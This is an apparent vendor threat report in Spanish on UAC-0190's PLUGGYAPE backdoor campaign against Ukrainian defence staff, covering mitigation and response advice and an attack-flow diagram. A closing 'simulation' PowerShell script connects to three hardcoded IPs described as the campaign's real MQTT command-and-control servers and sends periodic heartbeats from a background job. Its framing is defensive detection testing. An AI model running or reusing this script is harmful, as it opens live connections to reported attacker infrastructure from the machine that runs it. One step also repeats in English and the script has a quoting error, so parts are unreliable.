«Fondos No Confiables»: Ciberataques dirigidos UAC-0190 contra las Fuerzas de Defensa de Ucrania usando PLUGGYAPE
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
CERT-UA reveló una ola de intrusiones dirigidas contra el personal de las Fuerzas de Defensa de Ucrania, con los operadores haciéndose pasar por representantes de fondos benéficos para aumentar la confianza e impulsar la ejecución. La campaña desplegó PLUGGYAPE, un backdoor personalizado basado en Python, entregado a través de archivos “documento” armados utilizando extensiones dobles engañosas (por ejemplo, .docx.pif y .pdf.exe) para hacerse pasar por contenido benigno. Una vez lanzado, el malware estableció el comando y control a través de canales MQTT o WebSocket, utilizando una combinación de dominios comprometidos e infraestructura basada en IP. CERT-UA vinculó la actividad al grupo Void Blizzard (Laundry Bear).
Investigación
Durante el análisis, los respondedores reunieron múltiples artefactos maliciosos y confirmaron que las cargas útiles eran binarios de Python empaquetados con PyInstaller presentados como archivos similares a Office para fomentar la ejecución. La telemetría de la red mostró señalización a través de brokers MQTT y sesiones WebSocket a endpoints controlados por los atacantes, con algunas direcciones de servidores suministradas indirectamente, incrustadas como cadenas Base64 y recuperadas de servicios de alojamiento de estilo pegajoso. Los operadores mantuvieron la persistencia creando una entrada de registro Run. Los indicadores de infraestructura se corroboraron a través de referencias encontradas en plataformas de pegado (incluyendo Pastebin y rentry) y varios dominios con temática benéfica utilizados en la cadena de señuelo.
Mitigación
Trate los archivos “documento” no solicitados recibidos a través de mensajeros como de alto riesgo, particularmente los adjuntos que utilizan extensiones dobles o patrones de suplantación de archivos ejecutables. Implemente listas de permitidos de aplicaciones y prevenga explícitamente la ejecución de binarios empaquetados con PyInstaller donde sea posible. Monitoree los cambios en ubicaciones comunes de persistencia, especialmente las modificaciones de claves Run. A nivel de red, bloquee o controle estrictamente la conectividad saliente a dominios maliciosos conocidos y restrinja el tráfico de salida a los puertos de brokers MQTT asociados con el comando y control de la campaña.
Respuesta
Incorpore los IOCs publicados en herramientas SIEM/EDR y busque proactivamente artefactos de PLUGGYAPE en todos los endpoints, priorizando los sistemas utilizados por el personal objetivo. Aísle cualquier host sospechoso y conserve evidencias de red y en los endpoints para delimitación. Revise la persistencia del registro, especialmente las entradas Run, y examine los registros de la red para detectar patrones anómalos de tráfico MQTT/WebSocket. Escale a través de los canales de respuesta a incidentes y aplicación de la ley aplicables utilizando las vías de contacto oficiales proporcionadas por CERT-UA.
«graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[«<b>Técnica</b> – <b>T1659 Inyección de Contenido</b><br /><b>Descripción</b>: Inyectar archivos maliciosos a través de plataformas de mensajería»] class initial_access technique malicious_file[«<b>Archivo</b> – Documentos maliciosos<br /><b>Ejemplos</b>: .docx.pif, .pdf.exe, carga útil ofuscada»] class malicious_file builtin user_execution[«<b>Técnica</b> – <b>T1204.002 Ejecución de Usuario</b><br /><b>Descripción</b>: La víctima abre el archivo malicioso»] class user_execution technique malware[«<b>Malware</b> – Backdoor de Python compilado con PyInstaller<br /><b>Características</b>: Carga útil incrustada, utiliza WebSocket y MQTT»] class malware malware persistence[«<b>Técnica</b> – <b>T1547.014 Claves de Registro Run / Carpeta de Inicio</b><br /><b>Descripción</b>: Añade Run‑key para auto‑inicio al inicio de sesión»] class persistence technique discovery[«<b>Técnica</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br /><b>Descripción</b>: Recopila detalles del SO e identificadores de hardware»] class discovery technique command_and_control[«<b>Técnica</b> – <b>T1071.001 Protocolos Web</b> y <b>T1102.002 MQTT</b><br /><b>Descripción</b>: Se comunica a través de WebSocket y MQTT, utiliza URLs codificadas en Base64»] class command_and_control technique defense_evasion[«<b>Técnica</b> – <b>T1036.008 Suplantación</b>, <b>T1027.009 Archivos Ofuscados</b>, <b>T1497.002 Evasión de Virtualización/Sandbox</b><br /><b>Descripción</b>: Oculta binarios y verifica entornos de análisis»] class defense_evasion technique exfiltration[«<b>Técnica</b> – <b>T1011 Exfiltración sobre otros medios de red</b><br /><b>Descripción</b>: Envía los datos recopilados a través del mismo canal C2»] class exfiltration technique %% Connections initial_access u002du002d>|entrega| malicious_file malicious_file u002du002d>|abierto por la víctima| user_execution user_execution u002du002d>|ejecuta| malware malware u002du002d>|crea| persistence malware u002du002d>|recolecta| discovery malware u002du002d>|conecta a| command_and_control malware u002du002d>|emplea| defense_evasion malware u002du002d>|exfiltra vía| exfiltration «
Flujo de Ataque
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría & Línea de Base debe haberse pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
- Objetivo: Establecer un canal C2 con la infraestructura PLUGGYAPE utilizando el protocolo MQTT, imitando un dispositivo IoT típico que reporta datos silenciosamente.
- Paso a paso:
- El atacante deja caer un script de PowerShell que carga la
librería MQTTnet.Crea un trabajo en segundo plano persistente que se conecta al broker MQTT malicioso (una de las tres IPs codificadas) en el puerto MQTT estándar (1883). - Después de establecer la sesión TCP, envía un paquete CONNECT MQTT mínimo seguido de un PUBLISH periódico con datos de comando codificados.
- Toda la actividad de red se realiza en el contexto de una cuenta de servicio legítima para mezclarse con el tráfico normal.
- All network activity is performed under the context of a legitimate service account to blend with normal traffic.
- El atacante deja caer un script de PowerShell que carga la
-
Script de Prueba de Regresión:
# Simulación PLUGGYAPE C2 – MQTT en Windows # Requiere MQTTnet (instalado vía PowerShell Gallery) # --------------------------------------------------------- # 1. Instalar MQTTnet si falta if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. Definir endpoints C2 maliciosos $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. Escoger aleatoriamente un servidor C2 para simular una selección realista $targetIP = $c2IPs | Get-Random # 4. Construir cliente MQTT $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. Conectar y comenzar a publicar en un trabajo en segundo plano $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "Conectado a PLUGGYAPE C2 en $($options.ChannelOptions.Server)` # Enviar un publish simple de keep‑alive cada 30 segundos while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "Conexión C2 fallida: $_" } finally { $client.DisconnectAsync() | Out-Null } } # Lanzar el trabajo (se ejecuta en segundo plano) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "Trabajo de simulación PLUGGYAPE C2 iniciado (JobId=$($job.Id))." -
Comandos de Limpieza:
# Detener el trabajo en segundo plano y asegurar que el cliente MQTT se desconecta Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "Simulación PLUGGYAPE C2 detenida y limpieza completa."